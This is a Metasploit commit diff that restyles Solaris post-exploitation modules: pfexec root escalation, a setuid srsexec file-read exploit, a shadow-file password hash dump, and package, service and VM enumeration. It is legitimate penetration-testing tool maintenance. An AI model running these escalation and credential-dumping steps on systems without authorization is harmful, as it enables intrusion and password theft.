Skip to content

Commit f2a6966

Browse files
bcolesbcoles
committed
modules/post/solaris: Resolve RuboCop violations
1 parent 157a15a commit f2a6966

File tree

6 files changed

+108
-74
lines changed

6 files changed

+108
-74
lines changed

‎modules/post/solaris/escalate/pfexec.rb‎

Lines changed: 20 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -24,13 +24,18 @@ def initialize(info = {})
2424
['URL', 'http://www.c0t0d0s0.org/archives/4844-Less-known-Solaris-features-pfexec.html'],
2525
['URL', 'http://solaris.wikia.com/wiki/Providing_root_privileges_with_pfexec']
2626
],
27-
'SessionTypes' => ['shell']
27+
'SessionTypes' => ['shell'],
28+
'Notes' => {
29+
'Stability' => [CRASH_SAFE],
30+
'SideEffects' => [IOC_IN_LOGS],
31+
'Reliability' => [REPEATABLE_SESSION]
32+
}
2833
)
2934
)
30-
register_options [
35+
register_options([
3136
OptString.new('PFEXEC_PATH', [true, 'Path to pfexec', '/usr/bin/pfexec']),
3237
OptString.new('SHELL_PATH', [true, 'Path to shell', '/bin/sh'])
33-
]
38+
])
3439
end
3540

3641
def shell_path
@@ -43,37 +48,37 @@ def pfexec_path
4348

4449
def run
4550
unless session.type == 'shell'
46-
fail_with Failure::BadConfig, "This module is not compatible with #{session.type} sessions"
51+
fail_with(Failure::BadConfig, "This module is not compatible with #{session.type} sessions")
4752
end
4853

4954
if is_root?
50-
fail_with Failure::BadConfig, 'Session already has root privileges'
55+
fail_with(Failure::BadConfig, 'Session already has root privileges')
5156
end
5257

53-
unless command_exists? pfexec_path
54-
fail_with Failure::NotVulnerable, "#{pfexec_path} does not exist"
58+
unless command_exists?(pfexec_path)
59+
fail_with(Failure::NotVulnerable, "#{pfexec_path} does not exist")
5560
end
5661

5762
user = cmd_exec('id -un').to_s
5863

59-
print_status "Trying pfexec as `#{user}' ..."
64+
print_status("Trying pfexec as `#{user}' ...")
6065

61-
res = cmd_exec "#{pfexec_path} #{shell_path} -c id"
66+
res = cmd_exec("#{pfexec_path} #{shell_path} -c id")
6267
vprint_status res
6368

64-
unless res.include? 'uid=0'
65-
fail_with Failure::NotVulnerable, "User `#{user}' does not have permission to escalate with pfexec"
69+
unless res.include?('uid=0')
70+
fail_with(Failure::NotVulnerable, "User `#{user}' does not have permission to escalate with pfexec")
6671
end
6772

68-
print_good 'Success! Upgrading session ...'
73+
print_good('Success! Upgrading session ...')
6974

70-
cmd_exec "#{pfexec_path} #{shell_path}"
75+
cmd_exec("#{pfexec_path} #{shell_path}")
7176

7277
unless is_root?
73-
fail_with Failure::NotVulnerable, 'Failed to escalate'
78+
fail_with(Failure::NotVulnerable, 'Failed to escalate')
7479
end
7580

76-
print_good 'Success! root shell secured'
81+
print_good('Success! root shell secured')
7782
report_note(
7883
host: session,
7984
type: 'host.escalation',

‎modules/post/solaris/escalate/srsexec_readline.rb‎

Lines changed: 13 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,12 @@ def initialize(info = {})
3434
['EDB', '30021'],
3535
['BID', '23915']
3636
],
37-
'DisclosureDate' => '2007-05-07'
37+
'DisclosureDate' => '2007-05-07',
38+
'Notes' => {
39+
'Stability' => [CRASH_SAFE],
40+
'SideEffects' => [IOC_IN_LOGS],
41+
'Reliability' => []
42+
}
3843
)
3944
)
4045
register_options([
@@ -48,14 +53,14 @@ def suid_bin_path
4853

4954
def check
5055
if is_root?
51-
fail_with Failure::BadConfig, 'Session already has root privileges'
56+
fail_with(Failure::BadConfig, 'Session already has root privileges')
5257
end
5358

5459
# This ls is based on the guidance in the sun alerts article
5560
unin = cmd_exec '/usr/bin/ls /opt/SUNWsrspx/bin/UninstallNetConnect.*.sh'
5661
unin =~ /UninstallNetConnect\.([\d.]{11})\.sh/
5762
unless ::Regexp.last_match(1)
58-
print_error 'NetConnect uninstall not found, either not installed or too new'
63+
print_error('NetConnect uninstall not found, either not installed or too new')
5964
return false
6065
end
6166

@@ -64,10 +69,10 @@ def check
6469
print_error "#{version} is not vulnerable"
6570
return false
6671
end
67-
print_good "#{version} is vulnerable"
72+
print_good("#{version} is vulnerable")
6873

69-
unless setuid? suid_bin_path
70-
vprint_error "#{suid_bin_path} is not setuid, it must have been manually patched"
74+
unless setuid?(suid_bin_path)
75+
vprint_error("#{suid_bin_path} is not setuid, it must have been manually patched")
7176
return false
7277
end
7378

@@ -76,10 +81,10 @@ def check
7681

7782
def run
7883
unless check
79-
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
84+
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
8085
end
8186

82-
flag = Rex::Text.rand_text_alpha 5
87+
flag = Rex::Text.rand_text_alpha(5)
8388
output = cmd_exec("#{suid_bin_path} -dvb #{datastore['FILE']} #{flag}")
8489
vprint_good("Raw Command Output: #{output}")
8590

‎modules/post/solaris/gather/checkvm.rb‎

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,12 @@ module supports detection of Solaris Zone, VMWare, VirtualBox, Xen,
2121
'License' => MSF_LICENSE,
2222
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
2323
'Platform' => [ 'solaris' ],
24-
'SessionTypes' => [ 'shell' ]
24+
'SessionTypes' => [ 'shell' ],
25+
'Notes' => {
26+
'Stability' => [CRASH_SAFE],
27+
'SideEffects' => [],
28+
'Reliability' => []
29+
}
2530
)
2631
)
2732
end

‎modules/post/solaris/gather/enum_packages.rb‎

Lines changed: 14 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -13,21 +13,31 @@ def initialize(info = {})
1313
info,
1414
'Name' => 'Solaris Gather Installed Packages',
1515
'Description' => %q{
16-
Post module to enumerate installed packages on a Solaris System
16+
Post module to enumerate installed packages on a Solaris system.
1717
},
1818
'License' => MSF_LICENSE,
1919
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
2020
'Platform' => [ 'solaris' ],
21-
'SessionTypes' => [ 'shell' ]
21+
'SessionTypes' => [ 'shell' ],
22+
'Notes' => {
23+
'Stability' => [CRASH_SAFE],
24+
'SideEffects' => [],
25+
'Reliability' => []
26+
}
2227
)
2328
)
2429
end
2530

26-
# Run Method for when run command is issued
2731
def run
2832
distro = get_sysinfo
29-
print_status("Running Module against #{distro[:hostname]}")
33+
print_status("Running module against #{distro[:hostname]}")
3034
packages = cmd_exec('/usr/bin/pkginfo -l')
35+
36+
if packages.blank?
37+
print_error('No packages identified')
38+
return
39+
end
40+
3141
pkg_loot = store_loot('solaris.packages', 'text/plain', session, packages, 'installed_packages.txt', 'Solaris Installed Packages')
3242
print_good("Package list saved to loot file: #{pkg_loot}")
3343

‎modules/post/solaris/gather/enum_services.rb‎

Lines changed: 15 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -13,41 +13,47 @@ def initialize(info = {})
1313
info,
1414
'Name' => 'Solaris Gather Configured Services',
1515
'Description' => %q{
16-
Post module to enumerate services on a Solaris System
16+
Post module to enumerate services on a Solaris system.
1717
},
1818
'License' => MSF_LICENSE,
1919
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
2020
'Platform' => [ 'solaris' ],
21-
'SessionTypes' => [ 'shell' ]
21+
'SessionTypes' => [ 'shell' ],
22+
'Notes' => {
23+
'Stability' => [CRASH_SAFE],
24+
'SideEffects' => [],
25+
'Reliability' => []
26+
}
2227
)
2328
)
2429
end
2530

26-
# Run Method for when run command is issued
2731
def run
2832
distro = get_sysinfo
2933
store_loot('solaris.version', 'text/plain', session, "Distro: #{distro[:hostname]}, Version: #{distro[:version]}, Kernel: #{distro[:kernel]}", 'solaris_info.txt', 'Solaris Version')
3034

31-
# Print the info
3235
print_good('Info:')
3336
print_good("\t#{distro[:version]}")
3437
print_good("\t#{distro[:kernel]}")
38+
3539
installed_pkg = get_services
40+
if installed_pkg.blank?
41+
print_error('No services identified')
42+
return
43+
end
44+
3645
pkg_loot = store_loot('solaris.services', 'text/plain', session, installed_pkg, 'configured_services.txt', 'Solaris Configured Services')
3746
print_good("Service list saved to loot file: #{pkg_loot}")
47+
3848
if datastore['VERBOSE']
3949
print_good('Services:')
40-
41-
# Print the Packages
4250
installed_pkg.each_line do |p|
4351
print_good("\t#{p.chomp}")
4452
end
4553
end
4654
end
4755

4856
def get_services
49-
services_installed = ''
50-
services_installed = cmd_exec('/usr/bin/svcs -a')
51-
return services_installed
57+
cmd_exec('/usr/bin/svcs -a') || ''
5258
end
5359
end

‎modules/post/solaris/gather/hashdump.rb‎

Lines changed: 40 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -13,56 +13,58 @@ def initialize(info = {})
1313
info,
1414
'Name' => 'Solaris Gather Dump Password Hashes for Solaris Systems',
1515
'Description' => %q{
16-
Post module to dump the password hashes for all users on a Solaris System
16+
Post module to dump the password hashes for all users on a Solaris system.
1717
},
1818
'License' => MSF_LICENSE,
1919
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
2020
'Platform' => [ 'solaris' ],
21-
'SessionTypes' => [ 'shell' ]
21+
'SessionTypes' => [ 'shell' ],
22+
'Notes' => {
23+
'Stability' => [CRASH_SAFE],
24+
'SideEffects' => [],
25+
'Reliability' => []
26+
}
2227
)
2328
)
2429
end
2530

26-
# Run Method for when run command is issued
2731
def run
28-
if is_root?
29-
passwd_file = read_file('/etc/passwd')
30-
shadow_file = read_file('/etc/shadow')
32+
fail_with(Failure::NoAccess, 'You must run this module as root!') unless is_root?
3133

32-
# Save in loot the passwd and shadow file
33-
p1 = store_loot('solaris.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Solaris Password Shadow File')
34-
p2 = store_loot('solaris.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Solaris Passwd File')
35-
vprint_good("Shadow saved in: #{p1}")
36-
vprint_good("passwd saved in: #{p2}")
34+
passwd_file = read_file('/etc/passwd')
35+
shadow_file = read_file('/etc/shadow')
3736

38-
# Unshadow the files
39-
john_file = unshadow(passwd_file, shadow_file)
40-
john_file.each_line do |l|
41-
hash_parts = l.split(':')
42-
jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
43-
if jtr_format.empty? # overide the default
44-
jtr_format = 'des,bsdi,crypt'
45-
end
46-
credential_data = {
47-
jtr_format: jtr_format,
48-
origin_type: :session,
49-
post_reference_name: refname,
50-
private_type: :nonreplayable_hash,
51-
private_data: hash_parts[1],
52-
session_id: session_db_id,
53-
username: hash_parts[0],
54-
workspace_id: myworkspace_id
55-
}
56-
create_credential(credential_data)
57-
print_good(l.chomp)
58-
end
59-
# Save pwd file
60-
upassf = store_loot('solaris.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Solaris Unshadowed Password File')
61-
print_good("Unshadowed Password File: #{upassf}")
37+
# Save in loot the passwd and shadow file
38+
p1 = store_loot('solaris.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Solaris Password Shadow File')
39+
p2 = store_loot('solaris.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Solaris Passwd File')
40+
vprint_good("Shadow saved in: #{p1}")
41+
vprint_good("passwd saved in: #{p2}")
6242

63-
else
64-
print_error('You must run this module as root!')
43+
# Unshadow the files
44+
john_file = unshadow(passwd_file, shadow_file)
45+
john_file.each_line do |l|
46+
hash_parts = l.split(':')
47+
jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
48+
if jtr_format.empty? # overide the default
49+
jtr_format = 'des,bsdi,crypt'
50+
end
51+
credential_data = {
52+
jtr_format: jtr_format,
53+
origin_type: :session,
54+
post_reference_name: refname,
55+
private_type: :nonreplayable_hash,
56+
private_data: hash_parts[1],
57+
session_id: session_db_id,
58+
username: hash_parts[0],
59+
workspace_id: myworkspace_id
60+
}
61+
create_credential(credential_data)
62+
print_good(l.chomp)
6563
end
64+
65+
# Save pwd file
66+
upassf = store_loot('solaris.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Solaris Unshadowed Password File')
67+
print_good("Unshadowed Password File: #{upassf}")
6668
end
6769

6870
def unshadow(pf, sf)
@@ -78,6 +80,7 @@ def unshadow(pf, sf)
7880
end
7981
end
8082
end
83+
8184
return unshadowed
8285
end
8386
end

0 commit comments

Comments
 (0)